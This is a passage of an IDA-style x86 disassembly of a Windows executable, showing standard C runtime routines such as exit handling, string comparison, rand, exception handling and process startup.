[esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_4040E8 add esp, 14h retn sub_404199 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B4 proc near ; CODE XREF: sub_401E40+51p ; sub_402040+956p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_4], ebx jnz short loc_4041DF loc_4041C2: ; CODE XREF: sub_4041B4+30j call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40422C ; --------------------------------------------------------------------------- loc_4041DF: ; CODE XREF: sub_4041B4+Cj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4041C2 push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] push eax push ebx push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h call sub_406AC5 add esp, 10h dec [ebp+var_1C] mov esi, eax js short loc_40421D mov eax, [ebp+var_20] mov [eax], bl jmp short loc_404229 ; --------------------------------------------------------------------------- loc_40421D: ; CODE XREF: sub_4041B4+60j lea eax, [ebp+var_20] push eax push ebx call sub_4068C4 pop ecx pop ecx loc_404229: ; CODE XREF: sub_4041B4+67j mov eax, esi pop esi loc_40422C: ; CODE XREF: sub_4041B4+29j pop ebx leave retn sub_4041B4 endp ; =============== S U B R O U T I N E ======================================= sub_40422F proc near ; CODE XREF: seg001:00404CA2p ; seg001:00404CC8p ... arg_0 = dword ptr 4 call sub_405F02 push [esp+arg_0] call sub_405D62 push off_4105C0 call sub_4062CC push 0FFh call eax add esp, 0Ch retn sub_40422F endp ; =============== S U B R O U T I N E ======================================= sub_404253 proc near ; CODE XREF: sub_404279+4p arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call dword_40D104 ; GetModuleHandleA test eax, eax jz short locret_404278 push offset aCorexitprocess ; "CorExitProcess" push eax call dword_40D100 ; GetProcAddress test eax, eax jz short locret_404278 push [esp+arg_0] call eax locret_404278: ; CODE XREF: sub_404253+Dj ; sub_404253+1Dj retn sub_404253 endp ; =============== S U B R O U T I N E ======================================= sub_404279 proc near ; CODE XREF: sub_403B17+34p ; sub_4043DD+C5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_404253 pop ecx push [esp+arg_0] call dword_40D0D4 ; ExitProcess int 3 ; Trap to Debugger loc_40428E: ; CODE XREF: sub_407541+Cp push 8 call sub_405121 pop ecx retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= sub_404297 proc near ; CODE XREF: sub_407577p push 8 call sub_405049 pop ecx retn sub_404297 endp ; =============== S U B R O U T I N E ======================================= sub_4042A0 proc near ; CODE XREF: sub_4043DD+8Cp ; sub_4043DD+9Cp arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_4042B0 ; --------------------------------------------------------------------------- loc_4042A5: ; CODE XREF: sub_4042A0+14j mov eax, [esi] test eax, eax jz short loc_4042AD call eax loc_4042AD: ; CODE XREF: sub_4042A0+9j add esi, 4 loc_4042B0: ; CODE XREF: sub_4042A0+3j cmp esi, [esp+4+arg_0] jb short loc_4042A5 pop esi retn sub_4042A0 endp ; =============== S U B R O U T I N E ======================================= sub_4042B8 proc near ; CODE XREF: sub_40434B+32p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] xor eax, eax jmp short loc_4042D0 ; --------------------------------------------------------------------------- loc_4042C1: ; CODE XREF: sub_4042B8+1Cj test eax, eax jnz short loc_4042D6 mov ecx, [esi] test ecx, ecx jz short loc_4042CD call ecx loc_4042CD: ; CODE XREF: sub_4042B8+11j add esi, 4 loc_4042D0: ; CODE XREF: sub_4042B8+7j cmp esi, [esp+4+arg_4] jb short loc_4042C1 loc_4042D6: ; CODE XREF: sub_4042B8+Bj pop esi retn sub_4042B8 endp ; =============== S U B R O U T I N E ======================================= sub_4042D8 proc near ; CODE XREF: sub_405CAD+12p ; sub_407B1C+27p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jnz short loc_404300 loc_4042E3: ; CODE XREF: sub_4042D8+2Fj call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_404300: ; CODE XREF: sub_4042D8+9j mov eax, dword_4113D0 cmp eax, esi jz short loc_4042E3 mov [ecx], eax xor eax, eax pop esi retn sub_4042D8 endp ; =============== S U B R O U T I N E ======================================= sub_40430F proc near ; CODE XREF: sub_405CAD+2Dp ; sub_4061E9+16p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_404337 loc_40431A: ; CODE XREF: sub_40430F+2Ej call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_404337: ; CODE XREF: sub_40430F+9j cmp dword_4113D0, esi jz short loc_40431A mov ecx, dword_4113DC mov [eax], ecx xor eax, eax pop esi retn sub_40430F endp ; =============== S U B R O U T I N E ======================================= sub_40434B proc near ; CODE XREF: seg001:00404CE0p arg_0 = dword ptr 4 cmp dword_413BBC, 0 jz short loc_40436E push offset dword_413BBC call sub_407680 test eax, eax pop ecx jz short loc_40436E push [esp+arg_0] call dword_413BBC pop ecx loc_40436E: ; CODE XREF: sub_40434B+7j ; sub_40434B+16j call sub_4075D7 push offset dword_40D240 push offset dword_40D224 call sub_4042B8 test eax, eax pop ecx pop ecx jnz short locret_4043DC push esi push edi push offset sub_4075B3 call sub_40757D mov esi, offset dword_40D21C mov eax, esi mov edi, offset dword_40D220 cmp eax, edi pop ecx jnb short loc_4043B4 loc_4043A5: ; CODE XREF: sub_40434B+67j mov eax, [esi] test eax, eax jz short loc_4043AD call eax loc_4043AD: ; CODE XREF: sub_40434B+5Ej add esi, 4 cmp esi, edi jb short loc_4043A5 loc_4043B4: ; CODE XREF: sub_40434B+58j cmp dword_413BC0, 0 pop edi pop esi jz short loc_4043DA push offset dword_413BC0 call sub_407680 test eax, eax pop ecx jz short loc_4043DA push 0 push 2 push 0 call dword_413BC0 loc_4043DA: ; CODE XREF: sub_40434B+72j ; sub_40434B+81j xor eax, eax locret_4043DC: ; CODE XREF: sub_40434B+3Bj retn sub_40434B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043DD proc near ; CODE XREF: sub_4044BF+8p ; sub_4044D0+8p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004044B9 SIZE 00000006 BYTES push 10h push offset dword_40E4F0 call __SEH_prolog4 push 8 call sub_405121 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi xor ebx, ebx inc ebx cmp dword_411410, ebx jz short loc_40447F mov dword_41140C, ebx mov al, byte ptr [ebp+arg_8] mov byte_411408, al cmp [ebp+arg_4], edi jnz short loc_40446F push dword_413BB4 call sub_4062CC mov [ebp+var_1C], eax push dword_413BB0 call sub_4062CC pop ecx pop ecx mov esi, eax mov [ebp+var_20], esi cmp [ebp+var_1C], edi jz short loc_40445F loc_404439: ; CODE XREF: sub_4043DD+6Aj ; sub_4043DD+75j ... sub esi, 4 mov [ebp+var_20], esi cmp esi, [ebp+var_1C] jb short loc_40445F cmp dword ptr [esi], 0 jz short loc_404439 mov edi, [esi] call sub_4062C3 cmp edi, eax jz short loc_404439 push edi call sub_4062CC pop ecx call eax jmp short loc_404439 ; --------------------------------------------------------------------------- loc_40445F: ; CODE XREF: sub_4043DD+5Aj ; sub_4043DD+65j push offset dword_40D250 mov eax, offset dword_40D244 call sub_4042A0 pop ecx loc_40446F: ; CODE XREF: sub_4043DD+35j push offset dword_40D258 mov eax, offset dword_40D254 call sub_4042A0 pop ecx loc_40447F: ; CODE XREF: sub_4043DD+22j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4044AA cmp [ebp+arg_8], 0 jnz short loc_4044B9 mov dword_411410, ebx push 8 call sub_405049 pop ecx push [ebp+arg_0] call sub_404279 loc_4044A7: ; DATA XREF: seg001:0040E508o xor ebx, ebx inc ebx sub_4043DD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4044AA proc near ; CODE XREF: sub_4043DD+A9p cmp dword ptr [ebp+10h], 0 jz short locret_4044B8 push 8 call sub_405049 pop ecx locret_4044B8: ; CODE XREF: sub_4044AA+4j retn sub_4044AA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4043DD loc_4044B9: ; CODE XREF: sub_4043DD+B2j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4043DD ; =============== S U B R O U T I N E ======================================= sub_4044BF proc near ; CODE XREF: seg001:0040202Dp ; seg001:00404D1Cp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_4043DD add esp, 0Ch retn sub_4044BF endp ; =============== S U B R O U T I N E ======================================= sub_4044D0 proc near ; CODE XREF: seg001:00404D4Cp ; sub_40793E+D9p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_4043DD add esp, 0Ch retn sub_4044D0 endp ; =============== S U B R O U T I N E ======================================= sub_4044E1 proc near ; CODE XREF: seg001:loc_404D21p push 1 push 0 push 0 call sub_4043DD add esp, 0Ch retn sub_4044E1 endp ; =============== S U B R O U T I N E ======================================= sub_4044F0 proc near ; CODE XREF: seg001:loc_404D51p push 1 push 1 push 0 call sub_4043DD add esp, 0Ch retn sub_4044F0 endp ; =============== S U B R O U T I N E ======================================= sub_4044FF proc near ; CODE XREF: sub_406621+C4p push esi call sub_4062C3 mov esi, eax push esi call sub_405F3B push esi call sub_407B02 push esi call sub_404D85 push esi call sub_407AF8 push esi call sub_407AEE push esi call sub_4078E4 push esi call nullsub_1 push esi call sub_407774 push offset sub_4044D0 call sub_406255 add esp, 24h mov off_4105C0, eax pop esi retn sub_4044FF endp ; =============== S U B R O U T I N E ======================================= sub_40454B proc near ; CODE XREF: sub_402040+475p ; sub_402040+7B6p ... arg_0 = dword ptr 4 push 0Ah push 0 push [esp+8+arg_0] call sub_407E0C add esp, 0Ch retn sub_40454B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40455C proc near ; CODE XREF: sub_402040+3EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_404573 xor eax, eax jmp loc_40460D ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_40455C+Ej cmp ebx, 4 push edi jb short loc_4045EE lea edi, [ebx-4] test edi, edi jbe short loc_4045EE mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] loc_404586: ; CODE XREF: sub_40455C+66j mov dl, [eax] add eax, 4 add ecx, 4 test dl, dl jz short loc_4045E4 cmp dl, [ecx-4] jnz short loc_4045E4 mov dl, [eax-3] test dl, dl jz short loc_4045DA cmp dl, [ecx-3] jnz short loc_4045DA mov dl, [eax-2] test dl, dl jz short loc_4045D0 cmp dl, [ecx-2] jnz short loc_4045D0 mov dl, [eax-1] test dl, dl jz short loc_4045C6 cmp dl, [ecx-1] jnz short loc_4045C6 add [ebp+var_4], 4 cmp [ebp+var_4], edi jb short loc_404586 jmp short loc_404605 ; --------------------------------------------------------------------------- loc_4045C6: ; CODE XREF: sub_40455C+58j ; sub_40455C+5Dj movzx eax, byte ptr [eax-1] movzx ecx, byte ptr [ecx-1] jmp short loc_404616 ; --------------------------------------------------------------------------- loc_4045D0: ; CODE XREF: sub_40455C+4Cj ; sub_40455C+51j movzx eax, byte ptr [eax-2] movzx ecx, byte ptr [ecx-2] jmp short loc_404616 ; --------------------------------------------------------------------------- loc_4045DA: ; CODE XREF: sub_40455C+40j ; sub_40455C+45j movzx eax, byte ptr [eax-3] movzx ecx, byte ptr [ecx-3] jmp short loc_404616 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_40455C+34j ; sub_40455C+39j movzx eax, byte ptr [eax-4] movzx ecx, byte ptr [ecx-4] jmp short loc_404616 ; --------------------------------------------------------------------------- loc_4045EE: ; CODE XREF: sub_40455C+1Bj ; sub_40455C+22j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] jmp short loc_404605 ; --------------------------------------------------------------------------- loc_4045F6: ; CODE XREF: sub_40455C+ACj mov dl, [eax] test dl, dl jz short loc_404610 cmp dl, [ecx] jnz short loc_404610 inc eax inc ecx inc [ebp+var_4] loc_404605: ; CODE XREF: sub_40455C+68j ; sub_40455C+98j cmp [ebp+var_4], ebx jb short loc_4045F6 xor eax, eax loc_40460C: ; CODE XREF: sub_40455C+BCj pop edi loc_40460D: ; CODE XREF: sub_40455C+12j pop ebx leave retn ; --------------------------------------------------------------------------- loc_404610: ; CODE XREF: sub_40455C+9Ej ; sub_40455C+A2j movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] loc_404616: ; CODE XREF: sub_40455C+72j ; sub_40455C+7Cj ... sub eax, ecx jmp short loc_40460C sub_40455C endp ; =============== S U B R O U T I N E ======================================= sub_40461A proc near ; CODE XREF: sub_402040+76p arg_0 = dword ptr 4 call sub_4064E8 mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_40461A endp ; =============== S U B R O U T I N E ======================================= sub_404627 proc near ; CODE XREF: sub_402040:loc_4020E0p call sub_4064E8 mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_404627 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404650 proc near ; DATA XREF: sub_402040+19o ; __SEH_prolog4o ... var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00407F41 SIZE 00000019 BYTES sub esp, 14h push ebx mov ebx, [esp+18h+arg_4] push ebp push esi mov esi, [ebx+8] xor esi, dword_410440 push edi mov eax, [esi] cmp eax, 0FFFFFFFEh mov [esp+24h+var_11], 0 mov [esp+24h+var_C], 1 lea edi, [ebx+10h] jz short loc_404688 mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_403F45 loc_404688: ; CODE XREF: sub_404650+29j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_403F45 mov eax, [esp+24h+arg_0] test byte ptr [eax+4], 66h jnz loc_4047C5 mov ebp, [ebx+0Ch] cmp ebp, 0FFFFFFFEh mov ecx, [esp+24h+arg_8] lea edx, [esp+24h+var_8] mov [esp+24h+var_8], eax mov [esp+24h+var_4], ecx mov [ebx-4], edx jz short loc_40471F loc_4046C1: ; CODE XREF: sub_404650+A2j lea eax, [ebp+ebp*2+0] mov ecx, [esi+eax*4+14h] test ecx, ecx lea ebx, [esi+eax*4+10h] mov eax, [ebx] mov [esp+24h+var_10], eax jz short loc_4046ED mov edx, edi call sub_407F2A test eax, eax mov [esp+24h+var_11], 1 jl short loc_40472B jg short loc_404735 mov eax, [esp+24h+var_10] loc_4046ED: ; CODE XREF: sub_404650+85j cmp eax, 0FFFFFFFEh mov ebp, eax jnz short loc_4046C1 cmp [esp+24h+var_11], 0 jz short loc_40471F loc_4046FB: ; CODE XREF: sub_404650+E3j ; sub_404650+191j mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_40470F mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_403F45 loc_40470F: ; CODE XREF: sub_404650+B0j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_403F45 loc_40471F: ; CODE XREF: sub_404650+6Fj ; sub_404650+A9j ... mov eax, [esp+24h+var_C] pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_40472B: ; CODE XREF: sub_404650+95j mov [esp+24h+var_C], 0 jmp short loc_4046FB ; --------------------------------------------------------------------------- loc_404735: ; CODE XREF: sub_404650+97j mov ecx, [esp+24h+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz short loc_40476B cmp dword_413BA8, 0 jz short loc_40476B push offset dword_413BA8 call sub_407680 add esp, 4 test eax, eax jz short loc_40476B mov edx, [esp+24h+arg_0] push 1 push edx call dword_413BA8 add esp, 8 loc_40476B: ; CODE XREF: sub_404650+EFj ; sub_404650+F8j ... mov ecx, [esp+24h+arg_4] call sub_407F5A mov eax, [esp+24h+arg_4] cmp [eax+0Ch], ebp jz short loc_404790 push offset dword_410440 push edi mov edx, ebp mov ecx, eax call sub_407F74 mov eax, [esp+24h+arg_4] loc_404790: ; CODE XREF: sub_404650+12Bj mov ecx, [esp+24h+var_10] mov [eax+0Ch], ecx mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_4047AB mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_403F45 loc_4047AB: ; CODE XREF: sub_404650+14Cj mov ecx, [esi+0Ch] mov edx, [esi+8] add ecx, edi xor ecx, [edx+edi] call sub_403F45 mov ecx, [ebx+8] mov edx, edi jmp loc_407F41 ; --------------------------------------------------------------------------- loc_4047C5: ; CODE XREF: sub_404650+50j cmp dword ptr [ebx+0Ch], 0FFFFFFFEh jz loc_40471F push offset dword_410440 push edi mov ecx, ebx mov edx, 0FFFFFFFEh call sub_407F74 jmp loc_4046FB sub_404650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4047F0 proc near ; CODE XREF: sub_402040+Dp ; sub_40BF90+11j ... push ecx lea ecx, [esp+4] sub ecx, eax sbb eax, eax not eax and ecx, eax mov eax, esp and eax, 0FFFFF000h loc_404804: ; CODE XREF: sub_4047F0+29j cmp ecx, eax jb short loc_404812 mov eax, ecx pop ecx xchg eax, esp mov eax, [eax] mov [esp+0], eax retn ; --------------------------------------------------------------------------- loc_404812: ; CODE XREF: sub_4047F0+16j sub eax, 1000h test [eax], eax jmp short loc_404804 sub_4047F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40481B proc near ; CODE XREF: sub_402E60+63p ; sub_402F20+4Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_404846 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_4048C5 ; --------------------------------------------------------------------------- loc_404846: ; CODE XREF: sub_40481B+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_404872 cmp esi, ebx jnz short loc_404872 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_4048C4 ; --------------------------------------------------------------------------- loc_404872: ; CODE XREF: sub_40481B+34j ; sub_40481B+38j mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_404881 mov [ebp+var_1C], ecx loc_404881: ; CODE XREF: sub_40481B+61j push edi lea eax, [ebp+arg_C] push eax push ebx push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_406AC5 add esp, 10h cmp esi, ebx mov edi, eax jz short loc_4048C3 dec [ebp+var_1C] js short loc_4048B5 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_4048C1 ; --------------------------------------------------------------------------- loc_4048B5: ; CODE XREF: sub_40481B+91j lea eax, [ebp+var_20] push eax push ebx call sub_4068C4 pop ecx pop ecx loc_4048C1: ; CODE XREF: sub_40481B+98j mov eax, edi loc_4048C3: ; CODE XREF: sub_40481B+8Cj pop edi loc_4048C4: ; CODE XREF: sub_40481B+55j pop esi loc_4048C5: ; CODE XREF: sub_40481B+29j pop ebx leave retn sub_40481B endp ; =============== S U B R O U T I N E ======================================= sub_4048C8 proc near ; CODE XREF: sub_40497F+Dp ; sub_406AC5+56p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax push esi mov esi, ecx mov byte ptr [esi+0Ch], 0 jnz short loc_40493A call sub_4064E8 mov [esi+8], eax mov ecx, [eax+6Ch] mov [esi], ecx mov ecx, [eax+68h] mov [esi+4], ecx mov ecx, [esi] cmp ecx, off_410E88 jz short loc_404906 mov ecx, dword_410DA4 test [eax+70h], ecx jnz short loc_404906 call sub_4088D8 mov [esi], eax loc_404906: ; CODE XREF: sub_4048C8+2Aj ; sub_4048C8+35j mov eax, [esi+4] cmp eax, dword_410CA8 jz short loc_404927 mov eax, [esi+8] mov ecx, dword_410DA4 test [eax+70h], ecx jnz short loc_404927 call sub_408199 mov [esi+4], eax loc_404927: ; CODE XREF: sub_4048C8+47j ; sub_4048C8+55j mov eax, [esi+8] test byte ptr [eax+70h], 2 jnz short loc_404944 or dword ptr [eax+70h], 2 mov byte ptr [esi+0Ch], 1 jmp short loc_404944 ; --------------------------------------------------------------------------- loc_40493A: ; CODE XREF: sub_4048C8+Dj mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax loc_404944: ; CODE XREF: sub_4048C8+66j ; sub_4048C8+70j mov eax, esi pop esi retn 4 sub_4048C8 endp ; =============== S U B R O U T I N E ======================================= sub_40494A proc near ; CODE XREF: sub_40497F+86p ; sub_404A52+39j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_404954: ; CODE XREF: sub_40494A+2Ej movzx eax, byte ptr [esi] lea ecx, [eax-41h] inc esi cmp ecx, 19h ja short loc_404963 add eax, 20h loc_404963: ; CODE XREF: sub_40494A+14j movzx ecx, byte ptr [edx] lea edi, [ecx-41h] inc edx cmp edi, 19h ja short loc_404972 add ecx, 20h loc_404972: ; CODE XREF: sub_40494A+23j test eax, eax jz short loc_40497A cmp eax, ecx jz short loc_404954 loc_40497A: ; CODE XREF: sub_40494A+2Aj pop edi sub eax, ecx pop esi retn sub_40494A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40497F proc near ; CODE XREF: sub_404A52+45p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_8] lea ecx, [ebp+var_10] call sub_4048C8 xor ebx, ebx cmp [ebp+arg_0], ebx jnz short loc_4049C6 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h cmp [ebp+var_4], bl jz short loc_4049BC mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4049BC: ; CODE XREF: sub_40497F+34j mov eax, 7FFFFFFFh jmp loc_404A4F ; --------------------------------------------------------------------------- loc_4049C6: ; CODE XREF: sub_40497F+17j push edi mov edi, [ebp+arg_4] cmp edi, ebx jnz short loc_4049F9 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h cmp [ebp+var_4], bl jz short loc_4049F2 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4049F2: ; CODE XREF: sub_40497F+6Aj mov eax, 7FFFFFFFh jmp short loc_404A4E ; --------------------------------------------------------------------------- loc_4049F9: ; CODE XREF: sub_40497F+4Dj mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_404A0E push edi push [ebp+arg_0] call sub_40494A pop ecx pop ecx jmp short loc_404A42 ; --------------------------------------------------------------------------- loc_404A0E: ; CODE XREF: sub_40497F+80j push esi loc_404A0F: ; CODE XREF: sub_40497F+BCj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] lea ecx, [ebp+var_10] push ecx push eax call sub_40894E inc [ebp+arg_0] mov esi, eax movzx eax, byte ptr [edi] lea ecx, [ebp+var_10] push ecx push eax call sub_40894E add esp, 10h inc edi cmp esi, ebx jz short loc_404A3D cmp esi, eax jz short loc_404A0F loc_404A3D: ; CODE XREF: sub_40497F+B8j sub esi, eax mov eax, esi pop esi loc_404A42: ; CODE XREF: sub_40497F+8Dj cmp [ebp+var_4], bl jz short loc_404A4E mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_404A4E: ; CODE XREF: sub_40497F+78j ; sub_40497F+C6j pop edi loc_404A4F: ; CODE XREF: sub_40497F+42j pop ebx leave retn sub_40497F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A52 proc near ; CODE XREF: sub_403040+96p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi cmp dword_411C1C, esi jnz short loc_404A90 cmp [ebp+arg_0], esi jnz short loc_404A84 loc_404A65: ; CODE XREF: sub_404A52+35j call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h mov eax, 7FFFFFFFh jmp short loc_404A9F ; --------------------------------------------------------------------------- loc_404A84: ; CODE XREF: sub_404A52+11j cmp [ebp+arg_4], esi jz short loc_404A65 pop esi pop ebp jmp sub_40494A ; --------------------------------------------------------------------------- loc_404A90: ; CODE XREF: sub_404A52+Cj push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40497F add esp, 0Ch loc_404A9F: ; CODE XREF: sub_404A52+30j pop esi pop ebp retn sub_404A52 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404AB0 proc near ; CODE XREF: seg001:00403514p ; sub_4038C0+6Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_404B30 mov dh, [ecx+1] test dh, dh jz short loc_404B1D loc_404AC8: ; CODE XREF: sub_404AB0+58j ; sub_404AB0+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_404AEE test al, al jz short loc_404AE8 loc_404ADB: ; CODE XREF: sub_404AB0+36j mov al, [esi] add esi, 1 loc_404AE0: ; CODE XREF: sub_404AB0+45j cmp al, dl jz short loc_404AEE test al, al jnz short loc_404ADB loc_404AE8: ; CODE XREF: sub_404AB0+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_404AEE: ; CODE XREF: sub_404AB0+25j ; sub_404AB0+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_404AE0 lea edi, [esi-1] loc_404AFA: ; CODE XREF: sub_404AB0+69j mov ah, [ecx+2] test ah, ah jz short loc_404B29 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_404AC8 mov al, [ecx+3] test al, al jz short loc_404B29 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_404AFA jmp short loc_404AC8 ; --------------------------------------------------------------------------- loc_404B1D: ; CODE XREF: sub_404AB0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp sub_408A86 ; --------------------------------------------------------------------------- loc_404B29: ; CODE XREF: sub_404AB0+4Fj ; sub_404AB0+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_404B30: ; CODE XREF: sub_404AB0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_404AB0 endp ; =============== S U B R O U T I N E ======================================= sub_404B36 proc near ; CODE XREF: seg001:00404BDBp ; seg001:00404C78p ... arg_0 = dword ptr 4 cmp dword_41141C, 1 jnz short loc_404B44 call sub_405F02 loc_404B44: ; CODE XREF: sub_404B36+7j push [esp+arg_0] call sub_405D62 push 0FFh call sub_404279 pop ecx pop ecx retn sub_404B36 endp ; =============== S U B R O U T I N E ======================================= sub_404B5A proc near ; CODE XREF: seg001:00404C60p cmp word ptr ds:__ImageBase, 5A4Dh jnz short loc_404B98 mov eax, ds:dword_400034+8 cmp ds:__ImageBase[eax], 4550h jnz short loc_404B98 cmp word ptr [eax+400018h], 10Bh jnz short loc_404B98 cmp dword ptr [eax+400074h], 0Eh jbe short loc_404B98 xor ecx, ecx cmp [eax+4000E8h], ecx setnz cl mov eax, ecx retn ; --------------------------------------------------------------------------- loc_404B98: ; CODE XREF: sub_404B5A+9j ; sub_404B5A+1Aj ... xor eax, eax retn sub_404B5A endp ; --------------------------------------------------------------------------- loc_404B9B: ; CODE XREF: seg001:00404D80j push 60h push offset dword_40E510 call __SEH_prolog4 and dword ptr [ebp-4], 0 lea eax, [ebp-70h] push eax call dword_40D114 ; GetStartupInfoA mov dword ptr [ebp-4], 0FFFFFFFEh mov edi, 94h push edi push 0 mov ebx, dword_40D110 call ebx ; GetProcessHeap push eax call 